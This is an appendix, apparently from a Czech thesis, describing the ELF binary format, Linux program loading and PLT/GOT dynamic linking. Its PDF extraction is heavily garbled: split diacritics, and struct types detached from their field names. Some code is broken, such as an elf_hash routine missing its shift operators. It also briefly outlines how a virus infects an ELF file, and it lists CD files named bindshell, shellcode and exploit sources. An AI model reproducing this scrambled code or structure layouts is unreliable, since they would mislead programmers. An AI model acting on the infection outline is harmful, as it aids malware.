Obra´zek A.1: Dva ru˚zne´ pohledy na soubor ve forma´tu ELF
A.1
Struktura hlavicˇek
Vsˇechny struktury jsou definova´ny v hlavicˇkove´m souboru elf.h. Na´sledujı´ vybrane´ struktury a konstanty platne´ pro GNU/Linux.
Definice datovy´ch typu˚ typedef typedef typedef typedef typedef
unsigned int unsigned short unsigned int signed int unsigned int
Elf32 Elf32 Elf32 Elf32 Elf32
Addr; Half; Off; Sword; Word;
ELF hlavicˇka (ELF header) typedef struct
unsigned char Elf32 Half Elf32 Half Elf32 Word Elf32 Addr Elf32 Off Elf32 Off Elf32 Word Elf32 Half Elf32 Half Elf32 Half Elf32 Half Elf32 Half Elf32 Half Elf32 Ehdr;
e e e e e e e e e e e e e e
ident[EI NIDENT]; type; machine; version; entry; phoff; shoff; flags; ehsize; phentsize; phnum; shentsize; shnum; shstrndx;
/* Magic number and other info */ /* Object file type */ /* Architecture */ /* Object file version */ /* Entry point virtual address */ /* Program header table file offset */ /* Section header table file offset */ /* Processor-specific flags */ /* ELF header size in bytes */ /* Program header table entry size */ /* Program header table entry count */ /* Section header table entry size */ /* Section header table entry count */ /* Section header string table index */
ii
10
/* e ident */ #define EI NIDENT (16) #define ELFMAG ”\177ELF”
20
#define EI CLASS #define ELFCLASS32
4 1
/* File class byte index */ /* 32-bit objects */
#define EI DATA #define ELFDATA2LSB
5 1
/* Data encoding byte index */ /* 2’s complement, little endian */
#define EI VERSION #define EV CURRENT
6 1
/* File version byte index */ /* Current version */
/* e type */ #define ET NONE #define ET REL #define ET EXEC #define ET DYN #define ET CORE
0 1 2 3 4
/* /* /* /* /*
/* e machine */ #define EM 386
3
/* Intel 80386 */
/* e version */ #define EV NONE #define EV CURRENT
0 1
/* Invalid ELF version */ /* Current version */
30
No file type */ Relocatable file */ Executable file */ Shared object file */ Core file */
40
ELF hlavicˇka je rozcestnı´kem cele´ho souboru. Obsahuje informace o forma´tu, umı´steˇnı´/velikosti tabulek hlavicˇek segmentu˚ a sekcı´, index sekce s na´zvy sekcı´, adresu vstupnı´ho bodu – prvnı´ instrukce ko´du programu. Vstupnı´ bod je spojen se symbolicky´m na´veˇsˇtı´m start.
Hlavicˇka segmentu (Segment header) typedef struct
Elf32 Elf32 Elf32 Elf32 Elf32 Elf32 Elf32 Elf32 Elf32
Word Off Addr Addr Word Word Word Word Phdr;
p p p p p p p p
type; offset; vaddr; paddr; filesz; memsz; flags; align;
/* p type */ #define PT NULL #define PT LOAD #define PT DYNAMIC #define PT INTERP #define PT NOTE #define PT SHLIB
0 1 2 3 4 5
/* /* /* /* /* /* /* /*
Segment Segment Segment Segment Segment Segment Segment Segment
type */ file offset */ virtual address */ physical address */ size in file */ size in memory */ flags */ alignment */
/* /* /* /* /* /*
Program header table entry unused */ Loadable program segment */ Dynamic linking information */ Program interpreter */ Auxiliary information */ Reserved */
iii
10
#define PT PHDR
6
/* p flags */ #define PF X #define PF W #define PF R
(1 (1 (1
/* Entry for header table itself */
0) 1) 2)
/* Segment is executable */ /* Segment is writable */ /* Segment is readable */
PT LOAD – Pro spusˇteˇnı´ programu se do pameˇti mapujı´ pouze obsahy segmentu˚ typu PT LOAD. Jejich pocˇet nenı´ omezen. Nejcˇasteˇjsˇ´ı je prˇ´ıpad dvou segmentu˚ - ko´dove´ho (neboli textove´ho) a datove´ho. PT INTERP – Program nemusı´ by´t spousˇteˇn prˇ´ımo prˇeda´nı´m ˇr´ızenı´ na adresu vstupnı´ho bodu. V sekci typu PT INTERP mu˚zˇe by´t umı´steˇn na´zev interpretu programu. Zpravidla jı´m je RTLD (Runtime Link Editor). PT DYNAMIC – Segment typu PT DYNAMIC obsahuje informace potrˇebne´ pro dynamicke´ linkova´nı´. PT PHDR – Segment typu PT PHDR pouze symbolicky oznacˇuje oblast tabulky hlavicˇek segmentu˚. Oznacˇenı´ nenı´ povinne´. PT NOTE – Segment typu PT NOTE zahrnuje sekce obsahujı´cı´ doplnˇujı´cı´ informace o programu.
hodnoty polozˇek p offset a p vaddr musı´ by´t kongruentnı´ modulo velikost stra´nky pameˇti (4kB) polozˇka p paddr ma´ vy´znam pouze pro operacˇnı´ syste´my pracujı´cı´ prˇ´ımo s fyzicky´mi adresami implicitnı´ umı´steˇnı´ ko´dove´ho segmentu je na adresu 0x8048000
Uka´zka pro textovy´ segment o velikosti 1152B a datovy´ segment o velikosti 292B je na obra´zku A.2. Obsah vy´plneˇ je da´n byty v souboru, ktere´ na´sledujı´ za dany´m segmentem. Mapova´nı´ segmentu˚ do pameˇti se prova´dı´ syste´movy´m vola´nı´m mmap() po na´sobcı´ch 4kB. Pokud jizˇ ze souboru nelze cˇ´ıst dalsˇ´ı byty je vy´plnˇ tvorˇena nulami. Pro polozˇky p filesz a p memsz musı´ platit vztah je oblast pameˇti da´na rozdı´lem
)
. Pro prˇ´ıpad nastavena na nulu. Takto vznika´ sekce
.bss.
Hlavicˇka sekce (Section header) typedef struct Elf32 Word Elf32 Word Elf32 Word
sh name; sh type; sh flags;
/* Section name (string tbl index) */ /* Section type */ /* Section flags */
iv
20
#0$
0x8048000 Textový segment
Soubor
Textový segment
+5 zarovnání adres +5 zarovnání adres
stránka 4kB stránka 4kB
1152B (0x480B)
Datový segment
Datový segment
0x8048480
0x8049000
0x8049480
Obra´zek A.2: Zavedenı´ segmentu˚ programu do pameˇti
Elf32 Elf32 Elf32 Elf32 Elf32 Elf32 Elf32 Elf32
Addr Off Word Word Word Word Word Shdr;
/* sh type */ #define SHT #define SHT #define SHT #define SHT #define SHT #define SHT #define SHT #define SHT #define SHT #define SHT #define SHT #define SHT
sh sh sh sh sh sh sh
addr; offset; size; link; info; addralign; entsize;
NULL PROGBITS SYMTAB STRTAB RELA HASH DYNAMIC NOTE NOBITS REL SHLIB DYNSYM
/* sh glags */ #define SHF WRITE #define SHF ALLOC #define SHF EXECINSTR
0 1 2 3 4 5 6 7 8 9 10 11
(1 (1 (1
/* /* /* /* /* /* /*
Section virtual addr at execution */ Section file offset */ Section size in bytes */ Link to another section */ Additional section information */ Section alignment */ Entry size if section holds table */
/* /* /* /* /* /* /* /* /* /* /* /*
Section header table entry unused */ Program data */ Symbol table */ String table */ Relocation entries with addends */ Symbol hash table */ Dynamic linking information */ Notes */ Program space with no data (bss) */ Relocation entries, no addends */ Reserved */ Dynamic linker symbol table */
0) /* Writable */ 1) /* Occupies memory during execution */ 2) /* Executable */
Vsˇechna data v souboru, kromeˇ ELF hlavicˇky a tabulek hlavicˇek segmentu˚ resp. sekcı´, by´vajı´ soucˇa´stı´ neˇktere´ sekce. Kazˇda´ sekce ma´ v tabulce hlavicˇek sekcı´ pra´veˇ jeden za´znam. Ne kazˇdy´ za´znam v tabulce hlavicˇek sekcı´ musı´ mı´t sekci. Kazˇda´ sekce obsahuje ucelenou posloupnost bytu˚ v souboru (pocˇet bytu˚ mu˚zˇe by´t nulovy´). Sekce se nemohou prˇekry´vat. V souboru mohou by´t data, ktera´ nejsou popsa´na zˇa´dnou hlavicˇkou sekcı´ a nejsou ani soucˇa´stı´ zˇa´dne´ sekce. Data, ktera´ nelze referencovat z tabulky hlavicˇek sekcı´, je mozˇne´ odstranit prˇ´ıkazem strip.
v
10
20
30
Polozˇka sekce typu SHT SYMTAB nebo SHT DYNSYM (Symbol table entry) typedef struct
Elf32 Word st name; Elf32 Addr st value; Elf32 Word st size; unsigned char st info; unsigned char st other; Elf32 Section st shndx; Elf32 Sym;
/* /* /* /* /* /*
Symbol Symbol Symbol Symbol Symbol Section
name (string tbl index) */ value */ size */ type and binding */ visibility */ index */ 10
/* st info */ #define ELF32 ST BIND(val) #define STB LOCAL 0 #define STB GLOBAL 1 #define STB WEAK 2
#define #define #define #define #define #define #define
ELF32 ST TYPE(val) STT NOTYPE 0 1 STT OBJECT STT FUNC 2 STT SECTION 3 STT FILE 4 STT COMMON 5
#define ELF32 ST INFO(bind, type)
(((unsigned char) (val)) /* Local symbol */ /* Global symbol */ /* Weak symbol */
4)
((val) & 0xf) /* Symbol type is unspecified */ /* Symbol is a data object */ /* Symbol is a code object */ /* Symbol associated with a section */ /* Symbol’s name is file name */ /* Symbol is a common data object */ (((bind)
20
4) + ((type) & 0xf))
Tabulky symbolu˚ obsahujı´ informace potrˇebne´ pro nalezenı´ a relokaci symbolicky´ch na´veˇsˇtı´ a referencı´ programu. Kompila´tor gcc vytva´ˇr´ı sekci .dynsym (SHT DYNSYM) pro uchova´nı´ symbolu˚, ktere´ jsou nutne´ pro beˇh programu. Sekce .symtab (SHT SYMTAB) obsahuje pomocne´ symboly, ktere´ se vyuzˇ´ıvajı´ prˇi analy´ze souboru (gdb, objdump, ...). Program strip tuto sekci odstranı´.
Polozˇka sekce typu SHT REL (Relocation table entry) typedef struct
Elf32 Addr Elf32 Word Elf32 Rel;
r offset; r info;
#define ELF32 R SYM(val) #define #define #define #define #define #define #define
ELF32 R 386 R 386 R 386 R 386 R 386 R 386
R TYPE(val) NONE 0 32 1 PC32 2 GOT32 3 PLT32 4 COPY 5
/* Address */ /* Relocation type and symbol index */
((val)
8)
((val) & 0xff) /* No reloc */ /* Direct 32 bit */ /* PC relative 32 bit */ /* 32 bit GOT entry */ /* 32 bit PLT address */ /* Copy symbol at runtime */
vi
10
#define #define #define #define #define
R R R R R
386 386 386 386 386
GLOB DAT 6 JMP SLOT 7 RELATIVE 8 GOTOFF 9 GOTPC 10
#define ELF32 R INFO(sym, type)
/* /* /* /* /*
Create Create Adjust 32 bit 32 bit
(((sym)
GOT entry */ PLT entry */ by program base */ offset to GOT */ PC relative offset to GOT */
20
8) + ((type) & 0xff))
Relokace je proces propojenı´ symbolicky´ch referencı´ se symbolicky´mi na´veˇsˇtı´mi. Naprˇ. prˇi vola´nı´ funkce ze sdı´lene´ knihovny se musı´ urcˇit spra´vna´ adresa na´veˇsˇtı´ funkce v za´visloti na adrese zavedenı´ knihovny do pameˇti. Kompila´tor vytva´ˇr´ı dveˇ sekce tohoto typu – .rel.plt, .rel.dyn.
Polozˇka sekce typu SHT DYNAMIC (Dynamic table entry) typedef struct Elf32 Sword union
d tag;
/* Dynamic entry type */
Elf32 Word d val; Elf32 Addr d ptr; d un; Elf32 Dyn;
/* Integer value */ /* Address value */
10
/* d tag */ #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT #define DT
NULL NEEDED PLTRELSZ PLTGOT HASH STRTAB SYMTAB RELA RELASZ RELAENT STRSZ SYMENT INIT FINI SONAME RPATH SYMBOLIC REL RELSZ RELENT PLTREL DEBUG TEXTREL JMPREL BIND NOW
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
/* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /*
Marks end of dynamic section */ Name of needed library */ Size in bytes of PLT relocs */ Processor defined value */ Address of symbol hash table */ Address of string table */ Address of symbol table */ Address of Rela relocs */ Total size of Rela relocs */ Size of one Rela reloc */ Size of string table */ Size of one symbol table entry */ Address of init function */ Address of termination function */ Name of shared object */ Library search path (deprecated) */ Start symbol search here */ Address of Rel relocs */ Total size of Rel relocs */ Size of one Rel reloc */ Type of reloc in PLT */ For debugging; unspecified */ Reloc might modify .text */ Address of PLT relocs */ Process relocations of object */
vii
20
30
Pokud program vyuzˇ´ıva´ mozˇnostı´ dynamicky linkovany´ch knihoven musı´ obsahovat sekci typu SHT DYNAMIC. Jednotlive´ polozˇky obsahujı´ informace o za´vislosti na konkre´tnı´ch dynamicky´ch knihovna´ch a da´le indexy sekcı´, ktere´ take´ souvisı´ s dynamicky´m linkova´nı´m. Sekce .dynamic.
Struktura sekce typu SHT NOTE typedef struct
Elf32 Elf32 Elf32 Elf32
Word n namesz; Word n descsz; Word n type; Nhdr;
/* Length of the note’s name. */ /* Length of the note’s descriptor. /* Type of the note. */
12 2 1 G N U V e r s i o n \0 1 \0
*/
n_namesz n_descsz n_type name
desc n_namesz
Umı´steˇnı´ ˇreteˇzcu˚ musı´ by´t zarovna´no po 4B. Kompila´tor gcc vytva´ˇr´ı sekce .note.ABI-tag a .note.
Struktura sekce typu SHT HASH nbucket nchain bucket[0] bucket[nbucket−1] chain[0] chain[nchain−1]
Hashovacı´ tabulka zrychluje prˇ´ıstup do tabulky symbolu˚ k dane´mu jme´nu symbolu. Kompila´tor vytva´ˇr´ı sekci .hash. Pole bucket resp. chain obsahuje nbucket resp. nchain polozˇek. Polozˇky polı´ bucket i chain obsahujı´ index do tabulky symbolu˚. Funkce elf hash() vracı´ hodnotu x pro zadane´ jme´no symbolu. Index y zı´skany´ vy´razem ˚ i do pole odkazuje do tabulky symbolu chain. Pokud zı´skany´ symbol z tabulky symbolu˚ nenı´ spra´vny´, potom chain[y] uda´va´ novy´ index do tabulky symbolu˚ a pole chain. V prˇ´ıpadeˇ, zˇe symbol s pozˇadovany´m jme´nem nenı´ nalezen, je vy´sledekem hleda´nı´ nulty´ symbol z tabulky symbolu˚ s hodnotou STN UNDEF. unsigned long elf hash(const unsigned char *name) unsigned long h = 0, g; while (*name) h = (h 4) + *name++; if (g = h & 0xf0000000) h ˆ= g
24;
viii
h &= ˜g;
return h;
10
Struktura sekce typu SHT STRTAB Index 0 1 3 8 14 19 31
+0 +1 +2 +3 +4 +5 +6 +7 +8 +9 0 \0 _ _ l i b c _ s t 10 20 30
a r t _ m a i r i n t f \0 \0
n \0 p
ˇ eteˇzec R pra´dzdny´ rˇeteˇzec libc start main libc start main start main main printf konec sekce
Kompila´tor vytva´ˇr´ı neˇkolik sekcı´ typu SHT STRTAB. Sekce .dynstr obsahuje na´zvy symbolu˚, ktere´ souvisı´ s beˇhem programu. Sekce .shstrtab obsahuje na´zvy jednotlivy´ch sekcı´. Sekce .strtab obsahuje na´zvy symbolu˚, ktere´ prˇ´ıslusˇ´ı k tabulce symbolu˚ sekce .symtab. Sekci .strtab lze ze souboru odebrat programem strip.
A.2
Zavedenı´ programu do pameˇti
Ja´dro ve funkci load elf binary() (soubor $KERNEL/fs/binfmt elf.c) provede syste´movy´m vola´nı´m mmap() namapova´nı´ segmentu˚ spousˇteˇne´ho programu do virtua´lnı´ pameˇti. Da´le na za´sobnı´k umı´stı´ (create elf tables()) pomocne´ promeˇnne´ (auxiliary vectors) pro beˇh interpretu programu (je-li pouzˇit) a parametry programu s promeˇnny´mi prostrˇedı´ (copy strings()). Situace na za´sobnı´ku je zobrazena na obra´zku A.3. Pomocne´ promeˇnne´ z pole auxv vyuzˇ´ıva´ ke sve´ pra´ci dynamicky´ linker. typedef struct int a type; union
/* Entry type */
long int a val; void *a ptr; void (*a fcn) (void); a un; Elf32 auxv t;
/* Integer value */ /* Pointer value */ /* Function pointer value */
/* a type */ #define AT NULL #define AT IGNORE #define AT EXECFD
0 1 2
10
/* End of vector */ /* Entry should be ignored */ /* File descriptor of program */
ix
0xbfffffff
Vrchol zásobníku
NULL
,
,
**
auxv[term]
auxv[1] auxv[0] envp[term]
AT_NULL
NULL
envp[1] envp[0] argv[n] argv[n−1]
NULL
argv[1] argv[0] argc
! "#$&%
Obra´zek A.3: Situace na za´sobnı´ku teˇsneˇ prˇed spusˇteˇnı´m programu #define #define #define #define #define #define #define #define #define #define #define #define #define
AT AT AT AT AT AT AT AT AT AT AT AT AT
PHDR PHENT PHNUM PAGESZ BASE FLAGS ENTRY NOTELF UID EUID GID EGID CLKTCK
3 4 5 6 7 8 9 10 11 12 13 14 17
/* /* /* /* /* /* /* /* /* /* /* /* /*
Program headers for program */ Size of program header entry */ Number of program headers */ System page size */ Base address of interpreter */ Flags */ Entry point of program */ Program is not ELF */ Real uid */ Effective uid */ Real gid */ Effective gid */ Frequency of times() */
/* Some more special a type values describing the hardware. */ /* String identifying platform. #define AT PLATFORM 15 #define AT HWCAP 16 /* Machine dependent hints about processor capabilities. */
20
30
*/
Poslednı´ funkcı´ ja´dra prˇed spusˇteˇnı´m programu je start thread(). Rˇ ´ızenı´ je prˇeda´no budˇ prˇ´ımo na adresu prvnı´ instrukce v textove´m segmentu programu, nebo interpretu, je-li pozˇadova´n. Interpretem forma´tu ELF na linuxove´m ja´drˇe je dynamicky´ linker RTLD (Runtime Link Editor). Dynamicky´ linker zavede do pameˇti pozˇadovane´ sdı´lene´ knihovny (polozˇky typu DT NEED v sekci .dynamic). Provede aktualizaci struktur sekcı´ v za´vislosti na adrese zavedenı´ knihovny do pameˇti. Rˇ´ızenı´ je prˇeda´no na vstupnı´ bod v textove´m segmentu procesu – na´veˇsˇtı´ start. Kompila´tor gcc zde vygeneroval ko´d pro spusˇteˇnı´ funkce libc start main(), ktera´ je obsazˇena v knihovneˇ libc. Od chvı´le prˇeda´nı´ ˇr´ızenı´ samotne´mu programu je dynamicky´ linker prˇipraven poskytovat programu sve´ sluzˇby v podobeˇ relokace a resolvace symbolicky´ch na´veˇsˇtı´ a referencı´.
x
Prˇ´ıprava parametru˚ na za´sobnı´k a zavola´nı´ funkce 0x8048310 0x8048312 0x8048313 0x8048315 0x8048318 /* Zacˇ´ına´me 0x8048319 0x804831a 0x804831b 0x8048320 0x8048325 0x8048326 0x8048327 0x804832c 0x8048331 0x8048332
start : xor start+2 : pop
libc start main() vypada´ takto.
%ebp,%ebp %esi
/* argc */ /* esp na pozici ulozˇene´ho argc podle obra´zku A.3 */ start+3 : mov %esp,%ecx /* argv */ start+5 : and $0xfffffff0,%esp /* u´prava pozice */ start+8 : push %eax /* NULL */ /* eax nastaveno ja´drem - makro ELF PLAT INIT */ ukla´dat parametry funkce libc start main */ start+9 : push %esp /* stack end*/ start+10 : push %edx /* adresa funkce rtld fini - ukoncˇenı´ RTLD */ /* edx nastavil RTLD */ start+11 : push $0x8048450 /* na´veˇsˇtı´ fini v sekci .fini */ start+16 : push $0x8048298 /* na´veˇsˇtı´ init v sekci .init */ start+21 : push %ecx /* argv */ start+22 : push %esi /* argvc */ start+23 : push $0x80483f0 /* adresa funkce main() */ start+28 : call 0x80482f0 libc start main start+33 : hlt /* konec v prˇ´ıpadeˇ selha´nı´ libc start main */ start+34 : mov %esi,%esi /* 2B vy´plneˇ */
Prototyp funkce
10
libc start main() vypada´ takto.
extern int BP SYM ( libc start main) (int (*main) (int, char **, char **), int argc, char * unbounded * unbounded ubp av, void (*init) (void), void (*fini) (void), void (*rtld fini) (void), void * unbounded stack end) attribute ((noreturn));
Du˚lezˇite´ okamzˇiky v libc start main() pthread initialize minimal (); cxa atexit ((void (*) (void *)) rtld fini, NULL, NULL); cxa atexit ((void (*) (void *)) fini, NULL, NULL); .fini: (*init) (); .init:
exit ((*main) (argc, argv, environ));
xi
Inicializace vla´ken Registrace destruktoru RTLD Registrace destruktoru programu do global dtors aux() - deregister frame info(); Rˇ´ızenı´ prˇeda´no do sekce .init call gmon start(); - frame dummy() register frame info(); do global ctors aux(); Vola´nı´ funkce main(). environ vypocˇteno ze znalosti argc a argv
A.3
Pru˚beˇh dynamicke´ho linkova´nı´
Kazˇda´ jedinecˇna´ dynamicky linkovana´ funkce, kterou program pouzˇ´ıva´, ma´ svu˚j za´znam v tabulce PLT (Procedure Linkage Table) v sekci .plt. Pra´veˇ adresa tohoto za´znamu je operandem instrukce call v programu. /* Prˇ´ıklad absolutnı´ tabulky PLT */ .PLT0 pushl GOT + 4 /* Druha´ polozˇka tabulky GOT */ jmp *GOT +8 /* Trˇetı´ polozˇka tabulky GOT */ nop; nop nop; nop .PLT1:
jmp *name1 entry in GOT pushl $name1 symbol offset jmp .PLT0@PC /* Relativnı´ skok vu˚cˇi EIP */
.PLT2
jmp *name2 entry in GOT pushl $name2 symbol offset jmp .PLT0@PC
10
/* Prˇ´ıklad tabulky PLT pro pozicˇneˇ neza´visly´ ko´d * registr ebx obsahuje adresu tabulky GOT */ .PLT0 pushl 4(%ebx) jmp *8(%ebx) nop; nop; nop; nop; .PLT1:
jmp *name1 entry(%ebx) pushl $name1 symbol offset jmp .PLT0@PC
.PLT2:
jmp *name2 entry(%ebx) pushl $name2 symbol offset jmp .PLT@PC
20
Operandy neˇktery´ch instrukcı´ z tabulky PLT jsou polozˇky tabulky GOT (Global Offset Table). Struktura tabulky GOT je na´sledujı´cı´. Cˇ´ıslo polozˇky 0 1 2 3 4 5
Obsah adresa sekce .dynamic ukazatel na strukturu link map udrzˇovanou RTLD adresa funkce dl runtime resolve() RTLD adresa funkce name1 adresa funkce name2 ...
Prˇi prvnı´m vola´nı´ naprˇ. funkce name1 je v tabulce GOT mı´sto skutecˇne´ adresy funkce ulozˇena adresa na´sledujı´cı´ instrukce v prˇ´ıslusˇne´ sekci PLT. Na za´sobnı´k se ulozˇ´ı index do relokacˇnı´ tabulky
xii
(sekce .rel.plt) k funkci name1. Provede se skok na na´veˇsˇtı´ .PLT0. Na za´sobnı´k se ulozˇ´ı ukazatel na strukturu link map, kterou RTLD pouzˇ´ıva´. Na´sleduje zavola´nı´ funkce dl runtime resolve(). dl runtime resolve() si ze za´sobnı´ku vybere index do relokacˇnı´ tabulky. Z polozˇky r info relokacˇnı´ho za´znamu zı´ska´ index funkce name1 v tabulce dynamicky´ch symbolu˚ (sekce .dynsym). V za´znamu tabulky dynamicky´ch symbolu˚ polozˇka st name uda´va´ index do tabulky ˇreteˇzcu˚ (sekce .dynstr), ze ktere´ zjı´stı´me jme´no pozˇadovane´ funkce – naprˇ. ”printf”. RTLD nynı´ zna´ na´zev funkce, jejı´zˇ adresu musı´ vyhledat v knihovna´ch zavedeny´ch do pameˇti. Pomocı´ HASH tabulky (sekce .hash) zjistı´ index do tabulky dynamicky´ch symbolu˚ (sekce .dynsym). Prˇ´ıslusˇna´ polozˇka st value za´znamu obsahuje skutecˇnou adresu funkce v pameˇti. Tato adresa je vypocˇtena prˇi zavedenı´ knihovny do pameˇti. Nejdrˇ´ıve obsahuje offset funkce v souboru (sdı´lene´ knihovny). Po zavedenı´ do pameˇti RTLD k tomuto offsetu prˇicˇte adresu, na kterou se knihovnu podarˇilo zave´st. Zı´skanou skutecˇnou adresu funkce nynı´ RTLD vola´nı´m fixup() zapı´sˇe do tabulky GOT procesu. Adresu do tabulky GOT zı´ska´ RTLD z polozˇky r offset relokacˇnı´ho za´znamu. Prˇi dalsˇ´ım vola´nı´ funkce name1 jizˇ instrukce PLT za´znamu vyberou z tabulky GOT jejı´ skutecˇnou adresu. Nejle´pe vsˇe objasnı´ obra´zek A.4. Pokud si aplikace nemu˚zˇe dovolit, aby vzˇdy prvnı´ vola´nı´ funkce bylo zpozˇdeˇno (oznacˇujeme jako Lazy Binding) o resolvaci symbolu s relokacı´, je mozˇne´ situaci zmeˇnit. Nenulova´ hodnota promeˇnne´ prostrˇedı´ LD BIND NOW zarucˇ´ı, zˇe RTLD umı´stı´ do tabulky GOT spra´vne´ adresy jesˇteˇ prˇed prˇeda´nı´m ˇr´ızenı´ na na´veˇsˇtı´ start.
A.4
Souhrne´ vlastnosti
Forma´t ELF byl navrzˇen s ohledem na co nejveˇtsˇ´ı rychlost zavedenı´ do pameˇti. Specifikace forma´tu je prˇ´ımocˇara´, definovana´ pro mnoho architektur a mezi vy´voja´ˇri oblı´bena´. Za nevy´hodu mu˚zˇeme povazˇovat, zˇe nenı´ podporova´na zˇa´dna´ forma komprese ani enkrypce. Forma´t dokonce neobsahuje ani kontrolnı´ soucˇty. Prˇ´ıpadna´ virova´ na´kaza je velmi snadna´. Stacˇ´ı do souboru vlozˇit teˇlo parazita, zmeˇnit adresu vstupnı´ho bodu a posunout adresy jednotlivy´ch sekcı´ v tabulce hlavicˇek sekcı´. V porovna´nı´ s forma´tem PE firmy Microsoft lze take´ ˇr´ıci, zˇe syste´m dynamicke´ho linkova´nı´ je navrzˇen snad azˇ prˇ´ılisˇ robustneˇ. Zajı´mave´ pra´ce ohledneˇ viru˚ pro forma´t ELF a linuxove´ syste´my lze nale´zt v [11], [12]. Na formeˇ parazitnı´ho ko´du je zalozˇen i kompresnı´ program UPX 1 .
1
http://upx.sourceforge.net/
xiii
call 0x0848300 <printf> 0x80482c0: 0x80482c6:
pushl 0x8049570 jmp *0x8049574
.plt_prinft 0x8048300: 0x8048306: 0x804830b:
jmp *0x8049584 pushl $0x18 jmp 0x80482c0
.got0
0x804956c:
0x08049494
.got1
0x8049570:
0x40013678
Na adresu 0x8049584 zapiš hodnotu 0x4006a38c
.got2
0x8049574:
0x400097b0
jmp 0x4006a38c
.gotX
0x8049584:
0x08048306
.plt0
0x400097b0: <_dl_runtime_resolve>
ret
RTLD
&
r_offset: 0x8049584 r_info: 407
st_name: 11
.... printf ....
Symbol 4 Typ 7
Program
Hash tabulka
&
st_value: 0x4006a38c
... = elf_hash("printf")
Sdílená knihovna
Obra´zek A.4: Resolvace symbolu a relokace
xiv
Literatura [1] The Linux community. The Linux Documentation Project [online]. Poslednı´ revize 2003-02-24 [cit. 2003-03-10]. http://www.tldp.org/ [2] Boldyshev, Konstantin. Linux assembly tutorials [online]. Poslednı´ revize 2002-05-27 [cit. 2003-03-10]. http://linuxassembly.org/ [3] Phrack Inc. The Phrack Magazine [online]. Poslednı´ revize 2002-12-28 [cit. 2003-03-10]. http://www.phrack.org/ [4] TIS committee. Executable and Linking Format [online]. Poslednı´ revize 1995-05-01 [cit. 2003-03-10]. http://www.segfault.net/ scut/cpu/generic/TIS-ELF v1.2.pdf [5] AT&T Inc. System V Binary Application Interface v3.1 [online]. Poslednı´ revize 1997-03-18 [cit. 2003-03-10]. http://www.segfault.net/ scut/cpu/generic/System V ABI v3.1.pdf [6] Wheeler, David A. Secure Programming How To [online]. Poslednı´ revize 2003-03-03 [cit. 2003-03-10]. http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO.html [7] Grenier, Christophe. Tutorial sur la programmation se´curise´e [online]. Poslednı´ revize 200301-06 [cit. 2003-03-10]. http://www.cgsecurity.org/Articles/SecProg/buffer.html [8] The Last Stage of Delirium research group. UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes [online]. Poslednı´ revize 2002-11-20 [cit. 2003-03-10]. http://www.lsd-pl.net/unix assembly.html [9] Rix. Writing IA32 Alphanumeric shellcode [online]. Poslednı´ revize 2001-07-27 [cit. 2003-0310]. http://www.devhell.org/ rix/me/texts/asc.txt [10] K2. ADMmutate [online]. Poslednı´ revize verze 0.8.4 2001-10-0i1 [cit. 2003-03-11]. http://www.ktwo.ca/security.html [11] Cesare, Silvio. Silvio Cesare homepage [online]. Poslednı´ revize 2003-01-19 [cit. 2003-03-11]. http://www.big.net.au/ silvio/ xv
[12] Cesare, Silvio. Silvio Cesare papers [online]. [cit. 2003-03-11]. http://www.u-e-b-i.com/silvio/ [13] Hackers Emergency Response Team. HERT documents [online]. [cit. 2003-02-11]. http://www.hert.org/ [14] Packet Storm staff. Packet Storm Security [online]. [cit. 2003-03-11]. http://packetstormsecurity.com/ [15] Intel corp. IA-32 Intel Architecture Software Developer’s Manual, Volume 1: Basic Architecture. Intel corp. 1994. Order number 245470-006. [16] Intel corp. Pentium Processor User’s Manual, Volume 3: Architecture and Programming manual. Intel corp. 1994. Order number 241430-002. [17] Tanenbaum, Andrew S. Operating systems - Design and Implementation. Prentice-Hall 1987. ISBN: 0-13-637331-3 025a. [18] Hatch Brian, Lee James, Kurtz George. Hackerske´ u´toky Linux. SoftPress 2002, ISBN: 8086497-17-8.
xvi
Obsah prˇilozˇene´ho CD ROM disku Kapitola 3: hello1 hello2 rozsirasm2
hello1.s hello2.s hello3.s rozsirasm2.c
Kapitola 4: antidebug1 antidebug2 antidebug3 antidebug4
antidebug1.c antidebug2.c antidebug3.c antidebug4.c
Kapitola 6: bindshell osspansh shellkod1 shellkod2 shellkod3 shellkod4 shellkod5
bindshell.c osspansh.s shellkod1.c shellkod2.c shellkod3.c shellkod4.c shellkod5.c
Kapitola 7: buffer1 buffer2 buffer3 buffer4 construct-destruct exploit-buffer2 exploit-buffer3 exploit-buffer4
buffer1.c buffer2.c buffer3.c buffer4.c construct-destruct.c exploit-buffer2.c exploit-buffer3.c exploit-buffer4.c
Kapitola 8: exploit-string4 string1 string2 string3 string4
exploit-string4.c string1.c string2.c string3.c string4.c
xvii